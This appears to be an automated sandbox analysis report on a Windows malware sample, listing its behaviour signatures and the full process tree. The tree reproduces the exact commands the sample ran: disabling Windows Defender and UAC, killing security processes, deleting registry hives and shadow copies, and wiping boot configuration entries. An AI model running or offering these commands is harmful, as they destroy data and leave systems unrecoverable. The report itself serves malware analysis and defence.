Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/07/2026, 17:30

General

  • Target
    GRoupALEst5bariya.exe
  • Size 772KB
  • Sample260701-v3dhmacz2s
  • SHA256 638f9dbc41b67ab2b01bee1de5490de419f839e64ed5fb1883679c21fb5755f6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 13 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 9 IoCs
  • Modifies registry key 1 TTPs 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 56 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe
    "C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"
    1⤵
    • Writes to the Master Boot Record (MBR)
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2568
    • C:\Windows\SYSTEM32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      2⤵
        PID:4408
      • C:\Windows\SYSTEM32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
        2⤵
        • Modifies Windows Defender TamperProtection settings
        PID:2640
      • C:\Windows\SYSTEM32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        PID:2964
      • C:\Windows\SYSTEM32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
        2⤵
        • UAC bypass
        PID:3792
      • C:\Windows\SYSTEM32\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        2⤵
          PID:3764
        • C:\Windows\SYSTEM32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
          2⤵
          • Disables RegEdit via registry modification
          PID:4048
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im explorer.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2584
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im taskmgr.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1500
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im powershell.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3996
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im regedit.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4280
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im msmpeng.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2540
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im SecurityHealthService.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4168
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im WindowsDefender.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4924
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im cmd.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4056
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im conhost.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2924
        • C:\Windows\SYSTEM32\reg.exe
          reg delete HKLM\SYSTEM /f
          2⤵
          • Modifies registry key
          PID:4404
        • C:\Windows\SYSTEM32\reg.exe
          reg delete HKLM\SOFTWARE /f
          2⤵
          • Modifies registry key
          PID:2592
        • C:\Windows\SYSTEM32\reg.exe
          reg delete HKLM\SECURITY /f
          2⤵
          • Modifies registry key
          PID:2960
        • C:\Windows\SYSTEM32\reg.exe
          reg delete HKLM\SAM /f
          2⤵
          • Modifies registry key
          PID:5040
        • C:\Windows\SYSTEM32\reg.exe
          reg delete HKLM\HARDWARE /f
          2⤵
          • Modifies registry key
          PID:4156
        • C:\Windows\SYSTEM32\reg.exe
          reg delete HKLM\BCD00000000 /f
          2⤵
          • Modifies registry key
          PID:2644
        • C:\Windows\SYSTEM32\reg.exe
          reg delete HKLM\DRIVERS /f
          2⤵
          • Modifies registry key
          PID:2844
        • C:\Windows\SYSTEM32\reg.exe
          reg delete HKCU\SOFTWARE /f
          2⤵
          • Modifies registry key
          PID:3120
        • C:\Windows\SYSTEM32\reg.exe
          reg delete HKCU\SYSTEM /f
          2⤵
          • Modifies registry key
          PID:3628
        • C:\Windows\SYSTEM32\reg.exe
          reg delete HKU /f
          2⤵
            PID:3576
          • C:\Windows\SYSTEM32\reg.exe
            reg delete HKCR /f
            2⤵
              PID:3356
            • C:\Windows\SYSTEM32\reg.exe
              reg delete HKLM /f
              2⤵
              • Modifies registry key
              PID:4520
            • C:\Windows\SYSTEM32\reg.exe
              reg delete HKCU /f
              2⤵
              • Modifies registry key
              PID:5048
            • C:\Windows\SYSTEM32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:3688
            • C:\Windows\SYSTEM32\vssadmin.exe
              vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
              2⤵
              • Interacts with shadow copies
              PID:1244
            • C:\Windows\System32\Wbem\wmic.exe
              wmic shadowcopy delete
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4492
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /set {default} recoveryenabled No
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4948
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /set {default} bootstatuspolicy ignoreallfailures
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4544
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /set {default} integrityservices disable
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4812
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /set {default} testsigning on
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:1140
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /set {default} nx AlwaysOff
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:3980
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /set {default} quietboot on
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4908
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /set {default} displaybootmenu No
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4320
            • C:\Windows\SYSTEM32\reagentc.exe
              reagentc /disable
              2⤵
              • Drops file in System32 directory
              • Drops file in Windows directory
              PID:1512
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /delete {bootmgr} /f
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:1100
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /delete {current} /f
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:3784
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /delete {default} /f
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4928
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /delete {memdiag} /f
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:2292
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /delete {ntldr} /f
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:3576
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /delete {fwbootmgr} /f
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:3244
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1080

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                memory/2568-0-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-1-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-2-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-3-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-4-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-9-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-10-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-11-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-12-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-13-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-14-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-15-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-16-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp

                memory/2568-17-0x00007FF6AE8B0000-0x00007FF6AE927000-memory.dmp